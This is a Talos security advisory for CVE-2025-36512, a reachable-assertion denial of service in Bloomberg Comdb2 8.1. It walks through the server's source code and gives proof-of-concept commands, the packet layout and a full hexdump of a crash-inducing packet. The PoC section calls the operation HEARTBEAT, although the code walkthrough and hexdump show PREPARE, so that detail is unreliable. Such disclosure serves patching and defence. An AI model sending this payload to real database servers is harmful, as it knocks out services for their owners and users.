Talos Vulnerability Report

TALOS-2025-2200

Bloomberg Comdb2 Distributed Transaction Heartbeat denial of service vulnerability

July 22, 2025
CVE Number

CVE-2025-36512

SUMMARY

A denial of service vulnerability exists in the Bloomberg Comdb2 8.1 database when handling a distributed transaction heartbeat. A specially crafted protocol buffer message can lead to a denial of service. An attacker can simply connect to a database instance over TCP and send the crafted message to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Bloomberg Comdb2 8.1

PRODUCT URLS

Comdb2 - https://bloomberg.github.io/comdb2/

CVSSv3 SCORE

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-617 - Reachable Assertion

DETAILS

Comdb2 is an open source, high-availability database that is developed by Bloomberg. It supports features such as clustering, transactions, snapshots, and isolation. The implementation of the database utilizes optimistic locking for concurrent operation.

The Comdb2 database system is based on two major services. The first service, pmux, is a port multiplexer that is used to dynamically assign port numbers for different instances of the database. This service is implemented via a plaintext protocol and can be queried to identify the TCP port number that a specific database is listening on. The second service is the native comdb2 binary and is run for each instance of the desired database. The comdb2 binary is responsible for registering an available instance to the port multiplexing service. Communication with a Comdb2 instance is primarily handled by exchanging data with the client using the Google’s Protocol Buffers data format over a TCP session.

During startup, the comdb2 binary will execute the following function to assign callbacks that will be dispatched depending on the command initial command that is sent. Thus, when receiving a newline-delimited “newsql” string, the handle_newsql_request_evbuffer function will be called at [1] in response.

plugins/newsql/newsql_evbuffer.c:1275-1282
static int newsql_init(void *arg)
{
    dispatch_base = get_dispatch_event_base();
    Pthread_create(&gethostname_thd, NULL, gethostname_fn, NULL);
    add_appsock_handler("newsql\n", handle_newsql_request_evbuffer);        // [1]
    add_appsock_handler("@newsql\n", handle_newsql_admin_request_evbuffer);
    return 0;
}

Then, when receiving a connection from a client the following accept_info_new function will be called. At [2], a new event that calls the do_read function will be created and dispatched to when the socket fd is ready for reading.

net/net_evbuffer.c:848-866
static struct accept_info *accept_info_new(netinfo_type *netinfo_ptr, struct sockaddr_in *addr, int fd, int secure,
                                           int badrte)
{
    check_base_thd();
    if (pending_connections > max_pending_connections) {
        close_oldest_pending_connection();
    }
    ++pending_connections;
    struct accept_info *a = calloc(1, sizeof(struct accept_info));
    a->netinfo_ptr = netinfo_ptr;
    a->ss = *addr;
    a->fd = fd;
    a->secure = secure;
    a->badrte = badrte;
    a->ev = event_new(base, fd, EV_READ, do_read, a);   // [2]
    event_add(a->ev, NULL);
    TAILQ_INSERT_TAIL(&accept_list, a, entry);
    return a;
}

The implementation of the do_read function is basically a wrapper that reads a newline-delimited string from the socket fd prior to decoding the protocol buffer required to communicate with the client. First, the do_appsock_evbuffer function will be called at [3]. This function will process the “appsock” part of the protocol by extracting all the characters at [4], until encountering a newline. At [5], the implementation will check that the string “newsql” was found within the data read from the socket and follow it with another check that sets pbadrte to 1 and returns if the string “rte “ was found at the beginning. Once those tests have been verified, the entire newline-delimited string will be used at [6] to determine the correct handler callback to use for the rest of the protocol which will then get dispatched at [7].

net/net_evbuffer.c:2912-2949
static void do_read(int fd, short what, void *data)
{
    check_base_thd();
    struct accept_info *a = data;
    struct evbuffer *buf = evbuffer_new();
    ssize_t n = evbuffer_read(buf, fd, SBUF2UNGETC_BUF_MAX);
...
    uint8_t first_byte;
    evbuffer_copyout(buf, &first_byte, 1);
    if (first_byte == 0) {
        evbuffer_drain(buf, 1);
        a->buf = buf;
        rd_connect_msg_len(fd, 0, a);
        return;
    }
...
    if ((do_appsock_evbuffer(buf, &ss, fd, 0, secure, &badrte)) == 0)   // [3] \
        return;
    if (badrte)
        accept_info_new(netinfo_ptr, &ss, fd, secure, 1);
    else
        handle_appsock(netinfo_ptr, &ss, first_byte, buf, fd);
}
\
net/net_evbuffer.c:2864-2910
static int do_appsock_evbuffer(struct evbuffer *buf, struct sockaddr_in *ss, int fd, int is_readonly, int secure,
                               int *pbadrte)
{
    struct appsock_info *info = NULL;
    struct evbuffer_ptr b = evbuffer_search(buf, "\n", 1, NULL);                    // [4] Search buffer until newline encountered
...
    if (b.pos != -1) {
        char key[b.pos + 2];
        evbuffer_copyout(buf, key, b.pos + 1);
        key[b.pos + 1] = 0;
        if (secure && strstr(key, "newsql") == NULL) {                              // [5] ensure that "newsql" is in line.
            logmsg(LOGMSG_ERROR, "appsock '%s' disallowed on secure port\n", key);
            return 1;
        }

        if (strcmp(key, "rte ") == 0) {                                             // [5] ensure that "rte " is in line.
            evbuffer_read(buf, fd, -1);
            evbuffer_free(buf);
            ssize_t rc = write(fd, "0\n", 2);
            if (rc == 2 && pbadrte)
                *pbadrte = 1;
            return 1;
        }

        info = get_appsock_info(key);                                               // [6] Look up the key that was read.
    }

    if (info == NULL) return 1;
...
    evtimer_once(arg->base, info->cb, arg); /* handle_newsql_request_evbuffer */    // [7] Dispatch to handle_newsql_request_evbuffer
    return 0;
}

After finding the correct “appsock” handler and dispatching to it, the following function, handle_newsql_request_evbuffer, will be called. This function is responsible for signalling the gethostname_cond condition at [8] which will result in activating the gethostname_fn function. Afterwards at [9], the “libevent” library will be used to dispatch to the newsql_setup_clnt_evbuffer function. At the end of the newsql_setup_clnt_evbuffer function at [10], the implementation will finally call the rd_hdr function to begin reading the information sent by the client.

plugins/newsql/newsql_evbuffer.c:1261-1266
static void handle_newsql_request_evbuffer(int dummyfd, short what, void *data)
{
    struct appsock_handler_arg *arg = data;
    arg->admin = 0;
    gethostname_enqueue(arg);                                       // [8] Signal a condition
}
\
plugins/newsql/newsql_evbuffer.c:1251-1259
static void gethostname_enqueue(struct appsock_handler_arg *arg)
{
    gettimeofday(&arg->start, NULL);
    Pthread_mutex_lock(&gethostname_lk);
    TAILQ_INSERT_TAIL(&gethostname_list, arg, entry);
    ++gethostname_ctr;
    Pthread_cond_signal(&gethostname_cond);                         // [8] Signal "gethosname_cond" \\
    Pthread_mutex_unlock(&gethostname_lk);
}
\\
plugins/newsql/newsql_evbuffer.c:1208-1249
static void *gethostname_fn(void *arg)
{
    int max_pending = 8;
    struct timeval start, last_report;
    gettimeofday(&last_report, NULL);
    comdb2_name_thread("gethostname");
    while (1) {
        Pthread_mutex_lock(&gethostname_lk);
        if (TAILQ_EMPTY(&gethostname_list)) {
            Pthread_cond_wait(&gethostname_cond, &gethostname_lk);  // [8] Block on "gethostname_cond" condition
        }
...
        evtimer_once(arg->base, newsql_setup_clnt_evbuffer, arg);   // [9] \ Dispatch into newsql_setup_clnt_evbuffer
    }
}
\
plugins/newsql/newsql_evbuffer.c:1139-1200
static void newsql_setup_clnt_evbuffer(int fd, short what, void *data)
{
    struct appsock_handler_arg *arg = data;
...
    newsql_setup_clnt(clnt);
    plugin_set_callbacks_newsql(evbuffer);
    if (add_appsock_connection_evbuffer(clnt) != 0) {
        exhausted_appsock_connections(clnt);
        free_newsql_appdata_evbuffer(-1, 0, appdata);
    } else {
        rd_hdr(-1, 0, appdata);                                     // [10] read header
    }
    free(arg);
}

The function, rd_hdr, is then responsible for initially reading the header for the entire packet. The structure of the header is composed of four 32-bit integers that are encoded in network byte order. At [11], the length of data that is available for the socket is verified that it has enough space to include the header structure, newsqlheader. After reading enough data from the socket, each field of the header structure will be converted to the host byte order before being used at [12]. Once the length from the header is decoded at [13], the rd_hdr function will call rd_payload at [14] to decode the protocol buffer that comes after the newsqlheader.

cdb2api/cdb2api.c:948-953
struct newsqlheader {
    int type;
    int compression;
    int state; /* query state */
    int length;
};

plugins/newsql/newsql_evbuffer.c:888-910
static void rd_hdr(int dummyfd, short what, void *arg)
{
    struct newsqlheader hdr;
    struct newsql_appdata_evbuffer *appdata = arg;
    if (evbuffer_get_length(appdata->rd_buf) >= sizeof(struct newsqlheader)) {
        goto hdr;                                       // [11] check length before reading the header.
    }
...
hdr:
    evbuffer_remove(appdata->rd_buf, &hdr, sizeof(struct newsqlheader));
    appdata->hdr.type = ntohl(hdr.type);                // [12] Decode the type from the newsqlheader
    appdata->hdr.compression = ntohl(hdr.compression);  // [12] Decode the compression type (unused) from the newsqlheader
    appdata->hdr.state = ntohl(hdr.state);              // [12] Decode the state from the header (unused)
    appdata->hdr.length = ntohl(hdr.length);            // [13] Decode the protocol buffer length
    rd_payload(-1, 0, appdata);                         // [14] Read the protocol buffer payload
}

The following function, rd_payload, is directly responsible for decoding a protocol buffer that was sent by the client. This function is similar to rd_hdr in that it checks the length of data that is available and then proceeds to read the contents of its payload from socket. At [14], the length that was read earlier from the header is used with the evbuffer_pullup function at [15] to read the entire serialized protocol buffer data into the query variable of type CDB2QUERY. At [16], this populated structure is then passed to the process_newsql_payload function.

plugins/newsql/newsql_evbuffer.c:860-886
static void rd_payload(int dummyfd, short what, void *arg)
{
    CDB2QUERY *query = NULL;
    struct newsql_appdata_evbuffer *appdata = arg;
    if (evbuffer_get_length(appdata->rd_buf) >= appdata->hdr.length) {
        goto payload;
    }
...
payload:
    if (appdata->hdr.length) {
        int len = appdata->hdr.length;                          // [14] get length from header.
        void *data = evbuffer_pullup(appdata->rd_buf, len);     // [15] read entire packet from client
        if (data == NULL || (query = cdb2__query__unpack(&pb_alloc, len, data)) == NULL) {
            newsql_cleanup(appdata);
            return;
        }
        evbuffer_drain(appdata->rd_buf, len);
    }
    process_newsql_payload(appdata, query);                     // [16] process deserialized protocol buffer
}

The implementation of the process_newsql_payload function is directly responsible for reading a query that is submitted by a client. This is done by using the “type” field from the header to determine the query request type and dispatch to the correct function. Specifically, the process_cdb2query function is called at [17] to process a query request.

plugins/newsql/newsql_evbuffer.c:839-858
static void process_newsql_payload(struct newsql_appdata_evbuffer *appdata, CDB2QUERY *query)
{
    rem_lru_evbuffer(&appdata->clnt); /* going to work; not eligible for shutdown */
    switch (appdata->hdr.type) {
    case CDB2_REQUEST_TYPE__CDB2QUERY:
        process_cdb2query(appdata, query);                      // [17] process the actual query
        break;
    case CDB2_REQUEST_TYPE__RESET:
        newsql_reset_evbuffer(appdata);
        evtimer_once(appdata->base, rd_hdr, appdata);
        break;
    case CDB2_REQUEST_TYPE__SSLCONN:
        process_ssl_request(appdata);
        break;
    default:
        logmsg(LOGMSG_ERROR, "%s bad type:%d fd:%d\n", __func__, appdata->hdr.type, appdata->fd);
        newsql_cleanup(appdata);
        break;
    }
}

The following function, process_cdb2query contains the logic that is responsible for decoding the CDB2QUERY type into its corresponding fields from the protocol buffer sent by the client. At [18] and [19], the implementation will dereference the “disttxn” and “dbinfo” fields from the protocol buffer. If neither of these fields have been included, the implementation will then pass the entire query to the process_query function at [20].

plugins/newsql/newsql_evbuffer.c:707-732
static void process_cdb2query(struct newsql_appdata_evbuffer *appdata, CDB2QUERY *query)
{
    if (!query) {
        newsql_cleanup(appdata);
        return;
    }
    CDB2DISTTXN *disttxn = query->disttxn;                      // [18] Dereference the "disttxn" field of the protocol buffer
    CDB2DBINFO *dbinfo = query->dbinfo;                         // [19] Dereference the "dbinfo" field of the protocol buffer

    if (!dbinfo && !disttxn) {
        appdata->query = query;
        process_query(appdata);                                 // [20] Process the "query" field of the protocol buffer
        return;
    }
    if (dbinfo) {                                               // [19] Process the "dbinfo" field of the protocol buffer
        if (dbinfo->has_want_effects && dbinfo->want_effects) {
            process_get_effects(appdata);
        } else {
            process_dbinfo(appdata);
        }
    }
    if (disttxn) {                                              // [18] Process the "disttxn" field of the protocol buffer
        process_disttxn(appdata, disttxn);
    }
    cdb2__query__free_unpacked(query, &pb_alloc);
}

The following is a description of the CDB2DISTTXN protocol buffer message that is referenced by the “disttxn” field. In this message at [21] is an optional field, “disttxn”, that contains a value of the nested Disttxn protocol buffer message at [22]. The Disttxn protocol buffer message contains only three required fields with the rest being treated as optional. If an optional field is not included, the deserialization of the protocol buffer will either set the field’s value to NULL or clear a flag so that an implementer can know that the field was not included.

message CDB2_DISTTXN {
  required string dbname = 1;
  message Disttxn {                         // [22] "Disttxn" protocol buffer message
    required int32 operation = 1;
    required bool async = 2;
    required string txnid = 3;
    optional string name = 4;
    optional string tier = 5;
    optional string master = 6;
    optional int32 rcode = 7;
    optional int32 outrc = 8;
    optional string errmsg = 9;
  }
  optional Disttxn disttxn = 2;             // [21] "disttxn"
}

When processing the “disttxn” field from the CDB2QUERY type, the following process_disttxn function will be used. This function will use the “operation” field found in the CDB2DISTTXN protocol buffer to determine the case that will be responsible for performing an operation. To trigger this denial-of-service, the “PREPARE” operation will be used which will result in using some of the optional fields from the CDB2DISTTXN protocol buffer with the osql_prepare function at [23].

plugins/newsql/newsql_evbuffer.c:633-705
static void process_disttxn(struct newsql_appdata_evbuffer *appdata, CDB2DISTTXN *disttxn)
{
    struct evbuffer *buf = sql_wrbuf(appdata->writer);
    CDB2DISTTXNRESPONSE response = CDB2__DISTTXNRESPONSE__INIT;
    int rcode = 0;
    if (!bdb_amimaster(thedb->bdb_env) || bdb_lock_desired(thedb->bdb_env)) {
        rcode = -1;
        goto sendresponse;
    }

    switch (disttxn->disttxn->operation) {

    /* Coordinator master tells me (participant master) to prepare */
    case (CDB2_DIST__PREPARE):                  // [23] case that calls "osql_prepare"
        rcode = osql_prepare(disttxn->disttxn->txnid, disttxn->disttxn->name, disttxn->disttxn->tier,
                             disttxn->disttxn->master);
        break;
...
    }
...
}

The following implementation of the osql_prepare function is used when a “PREPARE” option is specified by client using the CDB2DISTTXN protocol buffer message. At [24] in the beginning of the function, the function’s parameters which contain the optional fields from the Disttxn message are handed off to the osql_sanction_disttxn function. The osql_sanction_disttxn function will start by checking if the specified transaction id exists at [25] and then fetching the transaction if so. If the transaction id was not found, then it will be instantiated at [26] before adding it to the sanctioned_hash hash table. After the registration of the transaction id has happened, the implementation will call the enable_dist_heartbeats function at [27]. This function is just a wrapper that signals an event and calls the do_enable_dist_heartbeats function at [28].

db/osqlsession.c:312-363
int osql_prepare(const char *dist_txnid, const char *coordinator_dbname, const char *coordinator_tier,
                 const char *coordinator_master)
{
    int dispatch = 0, rc;
    unsigned long long rqid;
    uuid_t uuid;

    if ((rc = osql_sanction_disttxn(dist_txnid, &rqid, &uuid, coordinator_dbname, coordinator_tier,     // [24] \ pass optional fields
                                    coordinator_master)) == 0) {
        logmsg(LOGMSG_INFO, "%s: coordinator beat participant prepare dist-txn %s\n", __func__, dist_txnid);
        return 0;
    }
...
}
\
db/disttxn.c:2179-2222
int osql_sanction_disttxn(const char *dist_txnid, unsigned long long *rqid, uuid_t *uuid,
                          const char *coordinator_dbname, const char *coordinator_tier, const char *coordinator_master)
{
    if (gbl_debug_disttxn_trace) {
        logmsg(LOGMSG_USER, "DISTTXN %s dist_txnid %s\n", __func__, dist_txnid);
    }
    int rtn = 0;
    sanctioned_t *sanc;
    Pthread_mutex_lock(&sanc_lk);
    sanc = hash_find(sanctioned_hash, &dist_txnid);                                             // [25] check if the transaction id exists
    if (sanc != NULL) {
        (*rqid) = sanc->rqid;
        comdb2uuidcpy((*uuid), sanc->uuid);                                                     // [26] if transaction id was found
        sanc->sanctioned = 1;
...
        rtn = 1;
    } else {
        sanc = (sanctioned_t *)calloc(sizeof(*sanc), 1);                                        // [26] allocate new transaction
        sanc->dist_txnid = strdup(dist_txnid);
        sanc->coordinator_dbname = strdup(coordinator_dbname);
        sanc->coordinator_tier = strdup(coordinator_tier);
        sanc->coordinator_master = strdup(coordinator_master);
        sanc->sanctioned = 1;
        sanc->hbeats.sanc = sanc;
        hash_add(sanctioned_hash, sanc);                                                        // [26] add the transaction id
        rtn = 0;
    }
...
    enable_dist_heartbeats(&sanc->hbeats);                                                      // [27] \ enable heartbeats for the transaction id
    Pthread_mutex_unlock(&sanc_lk);
    return rtn;
}
\
net/net_evbuffer.c:2129-2132
int enable_dist_heartbeats(dist_hbeats_type *dt)
{
    return event_base_once(dist_base, -1, EV_TIMEOUT, do_enable_dist_heartbeats, dt, NULL);     // [28] do_enable_dist_heartbeats
}

The following implementation of the do_enable_dist_heartbeats function is responsible for the denial-of-service described by this document. The purpose of this function is to create a distributed heartbeat event that will dispatch to the dist_heartbeat function. At [29], the function will first check if the event has already been created. If it does not yet exist, then the assignment at [30] will allocate the event before attaching a 2-second timeout at [31] prior to returning. It is worth noting that the condition at [29] will call abort(3) if the event for the transaction id has already been allocated. Thus, if more than one packet for the same transaction is sent within the 2-second interval for the event, the first packet will initialize the ev_hbeats field, whereas the second packet will trigger the condition for abort(3) terminating the comdb2 process and resulting in a denial-of-service condition.

net/net_evbuffer.c:2110-2127
static void do_enable_dist_heartbeats(int dummyfd, short what, void *data)
{
    dist_hbeats_type *dt = data;

    check_dist_thd();
    if (dt->ev_hbeats)                                                              // [29] check if the event exists, aborting if so.
        abort();

    dt->ev_hbeats = event_new(dist_base, -1, EV_PERSIST, dist_heartbeat, dt);       // [30] create a new event and assign it.
    if (!dt->ev_hbeats) {
        logmsg(LOGMSG_ERROR, "Failed to create new event for dist_heartbeat\n");
        return;
    }
    dt->tv.tv_sec = 2;
    dt->tv.tv_usec = 0;

    event_add(dt->ev_hbeats, &dt->tv);                                              // [31] add a timeout for the event.
}

Crash Information

In the following snippet, the proof of concept is being run against the database that is listening on localhost.

$ python poc.zip localhost
enumerating services from localhost via pmux...
discovered 1 service:
        [1] comdb2/replication/testdb : tcp/19000
selected service at index 1 : {'port': '19000', 'name': 'comdb2/replication/testdb'}
[20250513192713.865] <psocket.py+440> INFO     psocket.SendContext     :> Sending appsock.newsql [1] (7 bytes)...
[20250513192713.865] <psocket.py+442> INFO     psocket.SendContext     :- Sent appsock.newsql [1] (7 bytes).
[20250513192713.866] <psocket.py+440> INFO     psocket.SendContext     :> Sending appsock.newsql [2] (7 bytes)...
[20250513192713.866] <psocket.py+442> INFO     psocket.SendContext     :- Sent appsock.newsql [2] (7 bytes).
[20250513192713.920] <psocket.py+440> INFO     psocket.SendContext     :> Sending cdb2_query [1] (119 bytes)...
[20250513192713.921] <psocket.py+442> INFO     psocket.SendContext     :- Sent cdb2_query [1] (119 bytes).
[20250513192713.972] <psocket.py+440> INFO     psocket.SendContext     :> Sending cdb2_query [2] (119 bytes)...
[20250513192713.973] <psocket.py+442> INFO     psocket.SendContext     :- Sent cdb2_query [2] (119 bytes).

The following is the output of the process when running the proof-of-concept.

bdb_open_int line 6103 calling rep_start as master with egen 430
new_master_callback_int:  master:.invalid->ce66cbfc0193  old-gen:0->430  old-egen:0->431
I AM NEW MASTER NODE ce66cbfc0193
Collecting table aliases
user authentication disabled (bdberr: 15)
DBA user 'dba' already exists
hostname:ce66cbfc0193  cname:ce66cbfc0193
I AM READY.
[ERROR] osql_prepare couldn't find session 0 00000000-0000-0000-0000-000000000000
Aborted

Exploit Proof of Concept

In order to run the proof-of-concept, a database instance must be created in order to run the comdb2 service. The database will then be registered into the pmux service when it starts up.

After everything is loaded, the pmux service listens on port 5105 by default. This service allows one to query a list of the databases that have been registered and determine their port number.

To use the proof-of-concept, Python must be available. The proof-of-concept has two variations of connecting to the target database. The first variation connects to the pmux service and picks the first database that is available. This is selected using the “–pmux” option followed by the hostname that the pmux service is listening on. The following command line connects to the pmux service at “hostname” using the default port (5105/tcp).

$ python poc.zip --pmux hostname

The second variation will connect directly to the database port and requires the user to specify the database name using the “-b” parameter. The following command line will connect to the database named “testdb” at “hostname” on port 19000.

$ python poc.zip -b testdb hostname:19000

When running the first variation of the proof-of-concept, a client will likely query the pmux service to determine the port number associated with a database instance. The pmux service is a plain-text and newline-delimited protocol. The following 5-byte packet requests the pmux service to list all of the ports that are being used by databases.

[0] <instance pmux.command<char_t> 'unnamed_7fccc5169c70'> {unnamed=True} (5) 'used\n'

Afterwards, the pmux service will respond with the list of database instances that are available. If one database named “testdb” is currently instantiated, the response will look like the following.

[0] <instance pmux.newlined<char_t> 'unnamed_7fccb55b40b0'> {unnamed=True} (44) 'port 19000   name comdb2/replication/testdb\n'

Once the port number for the target database instance has been determined, the proof-of-concept will send a header that is used to encapsulate a protocol buffer message. This header has the following format. Within the header, only the 32-bit “type” field is used. This type can be 1, 2, 3, 108, or 121. The proof-of-concept triggers this vulnerability by setting the “type” to 1.

<class comdb2.newsql_request_header> 'header'
[0] <instance be(comdb2.sqlquery.CDB2RequestType) 'type'> CDB2QUERY(0x1)
[4] <instance be(comdb2.int) 'compression'> 0x00000000 (0)
[8] <instance be(comdb2.int) 'state'> 0x00000000 (0)

After the header, a 32-bit length field will be sent along with the protocol buffer payload. This has the following layout.

<class comdb2.newsql_request> 'unnamed_7fccb55b66f0' {unnamed=True}
[0] <instance comdb2.newsql_request_header 'header'> type=CDB2QUERY(0x1) : compression=0x00000000 : state=0x00000000
[c] <instance be(comdb2.int) 'length'> 0x00000067 (103)
[10] <instance protobuf.MESSAGE 'payload'> protobuf.TAGVALUE[1] "\x22\x65\x0a\x06\x74\x65\x73\x74\x64\x62\x12\x5b\x08\x01\x10\x01\x1a\x20\x25\x28\x2b\x59\x35\x28\x30\x6e\x24\x63\x58\x3d\x65\x6f\x6e\x4b\x30\x2a\x5d\x3e\x23\x3d\x79\x6f\x70\x3c\x57\x2c\x7a\x64\x61\x74\x22\x06\x74\x65\x73\x74\x64\x62\x2a\x20\x4e\x4f\x2d\x3d\x66\x59\x64\x74\x73\x37\x5c\x7c\x71\x3c\x69\x26\x42\x67\x35\x34\x41\x73\x36\x4f\x45\x76\x3f\x69\x32\x31\x57\x42\x32\x09\x6c\x6f\x63\x61\x6c\x68\x6f\x73\x74"
[77] <instance ptype.block 'extra'> ...

The protocol buffer payload has the following format. The field that is important is the “Disttxn.operation” field which can be any of the values specified by CDB2Dist. The specific operation used by this vulnerability is “HEARTBEAT”. Relevant to this vulnerability is the “Disttxn.txnid” field which is usually a UUID, but can be any number of bytes. If two “HEARTBEAT” protocol buffer messages are sent with the same transaction number, then this vulnerability is being triggered.

comdb2/protobuf/sqlquery.proto:143-148
message CDB2_QUERY {
  optional CDB2_SQLQUERY sqlquery = 1;
  optional CDB2_DBINFO   dbinfo = 2;
  optional string        spcmd  = 3;
  optional CDB2_DISTTXN  disttxn = 4;
}

comdb2/protobuf/sqlquery.proto:43-53
enum CDB2Dist {
    PREPARE              = 1;
    DISCARD              = 2;
    PREPARED             = 3;
    FAILED_PREPARE       = 4;
    COMMIT               = 5;
    ABORT                = 6;
    PROPAGATED           = 7;
    HEARTBEAT            = 8;
}

comdb2/protobuf/sqlquery.proto:127-142
message CDB2_DISTTXN {
  required string dbname = 1;
  message Disttxn {
    required int32 operation = 1;
    required bool async = 2;
    required string txnid = 3;
    optional string name = 4;
    optional string tier = 5;
    optional string master = 6;
    optional int32 rcode = 7;
    optional int32 outrc = 8;
    optional string errmsg = 9;
  }
  optional Disttxn disttxn = 2;
}

The following is a hexdump of the entire packet against the database “testdb” listening on “localhost” with a random 32-byte transaction id.

00  00 00 00 01 00 00 00 00  00 00 00 00 00 00 00 67  ...............g
10  22 65 0a 06 74 65 73 74  64 62 12 5b 08 01 10 01  "e..testdb.[....
20  1a 20 25 28 2b 59 35 28  30 6e 24 63 58 3d 65 6f  . %(+Y5(0n$cX=eo
30  6e 4b 30 2a 5d 3e 23 3d  79 6f 70 3c 57 2c 7a 64  nK0*]>#=yop<W,zd
40  61 74 22 06 74 65 73 74  64 62 2a 20 4e 4f 2d 3d  at".testdb* NO-=
50  66 59 64 74 73 37 5c 7c  71 3c 69 26 42 67 35 34  fYdts7\|q<i&Bg54
60  41 73 36 4f 45 76 3f 69  32 31 57 42 32 09 6c 6f  As6OEv?i21WB2.lo
70  63 61 6c 68 6f 73 74                              calhost         
TIMELINE

2025-06-02 - Initial Vendor Contact
2025-06-05 - Vendor Disclosure
2025-06-09 - Vendor Patch Release
2025-07-22 - Public Release

Credit

Discovered by a member of Cisco Talos.